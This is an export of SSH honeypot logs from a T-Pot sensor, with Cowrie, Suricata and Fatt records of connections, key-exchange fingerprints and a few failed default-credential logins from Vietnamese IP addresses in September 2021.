25930	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:56.447111+03	2021-09-20 14:15:12.617646+03	{"_id": "PwbmAnwBvYTbRNuE3B1s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3bf807a96dc4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:56.447111Z", "@timestamp": "2021-09-20T11:10:56.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25931	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:56.641128+03	2021-09-20 14:15:12.618646+03	{"_id": "QwbmAnwBvYTbRNuE3h2n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2115273209432264, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46124, "dest_port": 22, "timestamp": "2021-09-20T11:10:56.641128Z", "@timestamp": "2021-09-20T11:10:56.641Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25932	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:56.641212+03	2021-09-20 14:15:12.619644+03	{"_id": "RAbmAnwBvYTbRNuE3x3C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46124, "timestamp": "2021-09-20T11:10:56.641212", "@timestamp": "2021-09-20T11:10:56.641Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25933	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:56.618901+03	2021-09-20 14:15:12.620646+03	{"_id": "RwbmAnwBvYTbRNuE4B1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [shipping/shipping] failed", "session": "fb53ec7c98a7", "@version": "1", "password": "shipping", "username": "shipping", "timestamp": "2021-09-20T11:10:56.618901Z", "@timestamp": "2021-09-20T11:10:56.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25935	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:57.949106+03	2021-09-20 14:15:12.623645+03	{"_id": "WQbmAnwBvYTbRNuE5B1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "fb53ec7c98a7", "@version": "1", "duration": 3.4547829627990723, "timestamp": "2021-09-20T11:10:57.949106Z", "@timestamp": "2021-09-20T11:10:57.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25936	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:58.50427+03	2021-09-20 14:15:12.624646+03	{"_id": "XAbmAnwBvYTbRNuE5h14", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1905592906150957, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37816, "dest_port": 22, "timestamp": "2021-09-20T11:10:58.504270Z", "@timestamp": "2021-09-20T11:10:58.504Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25937	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:58.505475+03	2021-09-20 14:15:12.625646+03	{"_id": "YAbmAnwBvYTbRNuE5x2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37816, "timestamp": "2021-09-20T11:10:58.505475", "@timestamp": "2021-09-20T11:10:58.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25938	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:08.679721+03	2021-09-20 14:15:12.626646+03	{"_id": "ygbnAnwBvYTbRNuEDx1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6091d7eb968b", "@version": "1", "duration": 2.9410064220428467, "timestamp": "2021-09-20T11:11:08.679721Z", "@timestamp": "2021-09-20T11:11:08.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25939	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:09.353103+03	2021-09-20 14:15:12.628646+03	{"_id": "zwbnAnwBvYTbRNuEDx1C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2ce7ec20b76a", "@version": "1", "timestamp": "2021-09-20T11:11:09.353103Z", "@timestamp": "2021-09-20T11:11:09.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25940	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:09.718549+03	2021-09-20 14:15:12.629645+03	{"_id": "0AbnAnwBvYTbRNuEER13", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1136716451505955, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48518, "dest_port": 22, "timestamp": "2021-09-20T11:11:09.718549Z", "@timestamp": "2021-09-20T11:11:09.718Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25941	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:09.718706+03	2021-09-20 14:15:12.630644+03	{"_id": "0gbnAnwBvYTbRNuEEh2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48518, "timestamp": "2021-09-20T11:11:09.718706", "@timestamp": "2021-09-20T11:11:09.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25942	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:05.956019+03	2021-09-20 14:15:12.631646+03	{"_id": "swbnAnwBvYTbRNuEAR3U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1418874327761783, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35080, "dest_port": 22, "timestamp": "2021-09-20T11:11:05.956019Z", "@timestamp": "2021-09-20T11:11:05.956Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25943	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:05.741302+03	2021-09-20 14:15:12.632645+03	{"_id": "tAbnAnwBvYTbRNuEAh3x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35080, "timestamp": "2021-09-20T11:11:05.741302", "@timestamp": "2021-09-20T11:11:05.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25944	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:05.878713+03	2021-09-20 14:15:12.634647+03	{"_id": "twbnAnwBvYTbRNuEAx2G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "6118bef1b387", "@version": "1", "duration": 6.2616777420043945, "timestamp": "2021-09-20T11:11:05.878713Z", "@timestamp": "2021-09-20T11:11:05.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25945	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:06.745836+03	2021-09-20 14:15:12.635645+03	{"_id": "vQbnAnwBvYTbRNuEBx1u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "33f108df7e24", "@version": "1", "duration": 4.331568241119385, "timestamp": "2021-09-20T11:11:06.745836Z", "@timestamp": "2021-09-20T11:11:06.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25946	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:08.183903+03	2021-09-20 14:15:12.636646+03	{"_id": "vwbnAnwBvYTbRNuECx1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [teamspeak/teamspeak] failed", "session": "c08df8e155e9", "@version": "1", "password": "teamspeak", "username": "teamspeak", "timestamp": "2021-09-20T11:11:08.183903Z", "@timestamp": "2021-09-20T11:11:08.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25947	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:09.436406+03	2021-09-20 14:15:12.637645+03	{"_id": "ywbnAnwBvYTbRNuEDx1C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48518 (192.168.176.2:22) [session: 35c4bd54841d]", "session": "35c4bd54841d", "@version": "1", "protocol": "ssh", "src_port": 48518, "dest_port": 22, "timestamp": "2021-09-20T11:11:09.436406Z", "@timestamp": "2021-09-20T11:11:09.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
